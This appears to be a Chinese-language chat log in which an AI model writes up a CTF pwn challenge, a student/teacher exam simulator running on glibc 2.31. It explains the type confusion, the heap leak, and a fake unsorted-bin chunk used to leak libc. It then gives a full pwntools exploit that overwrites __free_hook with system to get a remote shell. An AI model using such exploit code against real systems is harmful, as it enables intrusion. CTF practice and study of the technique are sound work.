题目:这道题分别从学生和老师的角度模拟与考试有关的情节。 老师能干的事情有:添加学生,评分 ,为某一...
创建于:2026年5月5日
使用 GPT-5.5 Thinking 回答 Chat01
创建于:2026年5月5日
使用 GPT-5.5 Thinking 回答 Chat01
题目:这道题分别从学生和老师的角度模拟与考试有关的情节。
老师能干的事情有:添加学生,评分 ,为某一个学生写评语,叫家长 。学生能干的事情有:做题 ,查看评语,祈祷,设置模式 ,修改要操作的学号。
题目地址:39.96.193.120:10016
找到flag,并且给我完整的解题过程和解题脚本
这题我这边已经把漏洞链分析出来了;但从当前环境连接 39.96.193.120:10016 返回 Connection refused,所以我无法替你实际跑出最终 flag 字符串。下面给你完整利用思路和可直接打远程的脚本,能连通时会自动拿 shell,你执行 cat flag* 即可。
程序是 64 位 PIE,Full RELRO,Canary,NX,给的 attachment-35.so 是 Ubuntu glibc 2.31。
核心结构大致是:
cstudent_outer { inner *info; // +0x00 ... void *mode_buf; // +0x10 int mode_flag; // +0x18 int reward_used; // +0x1c } inner { int question_num; // +0x00 int score; // +0x04 char *review; // +0x08 int review_size; // +0x10 }
关键漏洞有三个:
学生 set mode 的类型混淆
outer+0x10 是指针,会 read(0, ptr, 0x20)。outer+0x10 的最低字节会被当作分数写入。inner+4,之后普通模式下就能覆盖:
scorereviewreview_sizecheck review 的奖励
score > 89 时,程序会:
outer 堆地址;+1。\0,所以要发送 str(addr) + "0\n"。伪造 chunk size 进 unsorted bin 泄露 libc
write_review 只能申请最大 0x3ff,正常进 tcache。review chunk 的 size 从 0x401 改成 0x431。free(review) 后进入 unsorted bin,读出 fd 得到 main_arena+0x60,从而算 libc base。之后利用任意写把 __free_hook 改成 system,再让某个学生的 review 内容为 /bin/sh\x00,调用 call parent 触发 free(review),也就是 system("/bin/sh")。
保存为 exp.py,同目录放:
textattachment-逆向35 attachment-35.so
脚本如下:
python#!/usr/bin/env python3 from pwn import * import re context.arch = "amd64" context.log_level = "info" HOST = "39.96.193.120" PORT = 10016 BIN = "./attachment-逆向35" LIBC = "./attachment-35.so" libc = ELF(LIBC, checksec=False) # Ubuntu GLIBC 2.31 常用 unsorted bin 泄露偏移: # unsorted fd = main_arena + 0x60 = libc + 0x1ebbe0 UNSORTED_FD_OFF = 0x1ebbe0 SYSTEM_OFF = libc.symbols["system"] FREE_HOOK_OFF = libc.symbols["__free_hook"] def start(): # 本地调试用: # return process(BIN) # 远程: return remote(HOST, PORT) io = start() def p32(x): return pack(x, 32) def p64(x): return pack(x, 64) def menu_teacher(choice): io.sendlineafter(b"choice>>", str(choice).encode()) def menu_student(choice): io.sendlineafter(b"choice>>", str(choice).encode()) def choose_role(r): io.sendlineafter(b"role:", str(r).encode()) def add_student(q=9): menu_teacher(1) io.sendlineafter(b"enter the number of questions:", str(q).encode()) def change_role_to_student(): menu_teacher(5) choose_role(1) def change_role_to_teacher(): menu_student(5) choose_role(0) def change_id(idx): menu_student(6) io.sendlineafter(b"input your id:", str(idx).encode()) def pray(): menu_student(3) def set_mode_buf(data): menu_student(4) io.recvuntil(b"enter your mode!") io.send(data) def set_pray_score(n): menu_student(4) io.recvuntil(b"enter your pray score:") io.sendline(str(n).encode()) def check_review_and_reward(addr=None, read_len=0): menu_student(2) out = io.recvuntil(b"add 1 to wherever you want! addr:") m = re.search(rb"0x[0-9a-f]+", out) if not m: log.failure(out) raise RuntimeError("no reward leak") leak = int(m.group(0), 16) if addr is None: # 默认增 score,安全且不影响利用。 addr = leak + 0x34 # 程序会把换行前一个字符置 0,所以补一个 dummy '0' io.send(str(addr).encode() + b"0\n") data = b"" if read_len: io.recvuntil(b"here is the review:\n") data = io.recvn(read_len) return leak, data def review_new(idx, size, data): menu_teacher(3) io.sendlineafter(b"which one? >", str(idx).encode()) io.sendlineafter(b"please input the size of comment:", str(size).encode()) io.recvuntil(b"enter your comment:") io.send(data.ljust(size, b"X")[:size]) def review_edit(idx, data, size): menu_teacher(3) io.sendlineafter(b"which one? >", str(idx).encode()) io.recvuntil(b"enter your comment:") io.send(data.ljust(size, b"Y")[:size]) def call_parent(idx): menu_teacher(4) io.sendlineafter(b"which student id to choose?", str(idx).encode()) def manager_set(ptr, size, score=100): """ 要求当前是 student 角色,当前 id 为 1。 通过已经被低字节劫持的 mode_buf 指针写 inner+4: score review ptr review size """ payload = p32(score) + p64(ptr) + p32(size) set_mode_buf(payload) # 1. 初始化:学生 0 作为 victim,学生 1 作为 manager choose_role(0) add_student(9) add_student(9) # 2. 劫持 student 1 的 mode_buf 指针低字节到 inner+4 change_role_to_student() change_id(1) # 第一次 set_mode:分配 mode buffer set_mode_buf(b"A" * 8) # 切到祈祷模式,写低字节 0x24,使 ptr 从 ...40 变成 ...24 pray() set_pray_score(0x24) # 切回普通模式,此时 set_mode 会写到 inner+4 pray() set_mode_buf(p32(100)) # 3. 触发奖励,拿 heap leak heap_leak, _ = check_review_and_reward() log.success(f"student1 outer leak = {hex(heap_leak)}") # 初始布局: # student1 outer = heap_leak # student0 large review chunk 会落在 heap_leak + 0x80 comment0 = heap_leak + 0x80 log.info(f"student0 review chunk = {hex(comment0)}") # 4. 给 student0 分配 0x3f0 review,然后 add student2, # 让 fake size 的 nextchunk 指向合法小 chunk header change_role_to_teacher() review_new(0, 0x3f0, b"A") add_student(9) # 5. 改 student0 review chunk 的 size: 0x401 -> 0x431 change_role_to_student() change_id(1) manager_set(comment0 - 8, 8) change_role_to_teacher() review_edit(1, p64(0x431), 8) # 6. free student0,伪造后的 review 进入 unsorted bin call_parent(0) # 7. 重置 student1 的 reward_used change_role_to_student() change_id(1) manager_set(heap_leak + 0x1c, 4) change_role_to_teacher() review_edit(1, p32(0), 4) # 8. 让 student1 的 review 指向 unsorted chunk,读取 fd 泄露 libc change_role_to_student() change_id(1) manager_set(comment0, 16) _, leak_data = check_review_and_reward(heap_leak + 0x34, 16) fd = u64(leak_data[:8]) libc_base = fd - UNSORTED_FD_OFF system_addr = libc_base + SYSTEM_OFF free_hook = libc_base + FREE_HOOK_OFF log.success(f"unsorted fd = {hex(fd)}") log.success(f"libc base = {hex(libc_base)}") log.success(f"system = {hex(system_addr)}") log.success(f"__free_hook = {hex(free_hook)}") # 9. 任意写:__free_hook = system manager_set(free_hook, 8) change_role_to_teacher() review_edit(1, p64(system_addr), 8) # 10. 准备 /bin/sh,触发 free(review) => system("/bin/sh") review_new(2, 0x20, b"/bin/sh\x00") call_parent(2) io.interactive()
bashpython3 exp.py
拿到 shell 后:
bashcat flag*
脚本里最容易踩坑的是两个输入细节:
check_review 的地址输入要补 dummy 字符:pythonio.send(str(addr).encode() + b"0\n")
因为程序会把换行前一个字符清零。
write_review 里面 scanf 和 read 混用,所以写 comment 时一定要等到:textenter your comment:
再 send 原始 payload。不要提前把二进制 payload 和数字一起发,否则可能被 stdio 缓冲吞掉。